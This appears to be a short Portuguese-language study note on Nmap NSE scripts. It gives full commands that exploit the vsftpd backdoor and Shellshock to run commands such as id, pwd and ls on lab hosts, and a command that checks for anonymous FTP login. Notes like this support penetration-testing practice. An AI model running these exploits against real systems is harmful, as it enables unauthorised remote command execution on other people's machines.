NMAP NSE

+ Para entrar no diretório dos scripts do nmap, basta irmos para o diretório:

```
cd /usr/share/nmap/scripts
```

+ Se quisermos pesquisar pelas funcionalidades específicas como “auth”, “default”, "external"
→ Isso dentro do diretório /usr/share/nmap/scripts

```
cat script.db
```

```
grep "ftp" script.db
```
ou

```
grep "exploit" script.db
```

+ Por exemplo, para executar um script de backdoor no vsftpd:

```
nmap -p 21 --script ftp-vsftpd-backdoor.nse -Pn 172.16.1.5
```

→ por default, após explorar a falha, ele executa o comando id. Se quisermos executar outro:

```
nmap -p 21 --script ftp-vsftpd-backdoor.nse --script-args cmd=pwd -Pn
172.16.1.5
```

→ Aí aqui ele executa o pwd

+ Para realizar o teste da verificação do usuário e senha Anonymous:

```
nmap -p 21 --script ftp-anon.nse -Pn 172.16.1.5
```

+ Com as pesquisas feitas nas etapas manuais, podemos encontrar diretórios que são vulneráveis à shellshock, como é o caso seguinte:

```
nmap -p 80 --script http-shellshock --script-args usr=/cgi-bin/test.cgi,cmd=ls
172.30.0.108
```